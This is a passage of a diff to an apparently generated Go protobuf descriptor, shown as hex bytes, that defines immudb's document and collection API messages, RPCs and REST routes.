0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x40, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x50, 0x72, + 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0b, + 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x12, 0x5c, 0x0a, 0x09, 0x69, + 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, + 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, + 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, + 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x63, 0x0a, 0x10, 0x50, 0x72, 0x69, + 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, + 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, + 0x39, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, + 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x61, + 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, + 0x65, 0x79, 0x12, 0x39, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, + 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, + 0x01, 0x22, 0x69, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, + 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4d, 0x0a, + 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, + 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0xb1, 0x03, 0x0a, + 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, + 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x60, 0x0a, 0x0b, 0x70, 0x72, + 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x3e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x50, + 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, + 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x12, 0x5a, 0x0a, 0x09, + 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x3c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x49, + 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, + 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x63, 0x0a, 0x10, 0x50, 0x72, 0x69, 0x6d, + 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, + 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x39, + 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, + 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x61, 0x0a, + 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, + 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, + 0x79, 0x12, 0x39, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, + 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, + 0x22, 0x66, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, + 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4d, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2d, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x2a, 0x0a, 0x14, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x17, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x69, 0x0a, + 0x16, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4f, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x9d, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, - 0x11, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, - 0x73, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa2, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, - 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x30, 0x2e, 0x69, 0x6d, + 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x2d, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x4e, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x12, 0x32, 0x0a, 0x08, 0x72, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x52, 0x08, 0x72, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x1b, 0x0a, 0x05, 0x50, 0x72, 0x6f, 0x6f, 0x66, + 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x6e, 0x61, 0x6d, 0x65, 0x2a, 0x43, 0x0a, 0x0d, 0x51, 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, + 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, + 0x02, 0x47, 0x54, 0x10, 0x01, 0x12, 0x07, 0x0a, 0x03, 0x47, 0x54, 0x45, 0x10, 0x02, 0x12, 0x06, + 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x03, 0x12, 0x07, 0x0a, 0x03, 0x4c, 0x54, 0x45, 0x10, 0x04, 0x12, + 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x05, 0x2a, 0x30, 0x0a, 0x09, 0x49, 0x6e, 0x64, + 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, + 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, 0x01, 0x12, + 0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x02, 0x32, 0x95, 0x0a, 0x0a, 0x0f, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, + 0x9b, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, + 0x72, 0x74, 0x12, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x92, + 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x9b, 0x01, + 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, + 0x12, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, + 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x9e, 0x01, 0x0a, 0x0d, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x2c, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, + 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, - 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x42, 0xd7, 0x01, 0x5a, 0x34, 0x67, - 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, - 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, - 0x61, 0x70, 0x69, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x92, 0x41, 0x9d, 0x01, 0x12, 0x29, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x13, 0x4f, - 0x62, 0x6a, 0x65, 0x63, 0x74, 0x73, 0x20, 0x73, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, - 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x59, 0x0a, 0x57, 0x0a, - 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, 0x12, 0x38, 0x41, 0x75, 0x74, - 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, - 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, - 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x20, 0x3c, 0x74, - 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, - 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, - 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, + 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, + 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0x9e, 0x01, 0x0a, + 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2c, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, + 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, + 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0xa5, 0x01, + 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, + 0x74, 0x65, 0x12, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 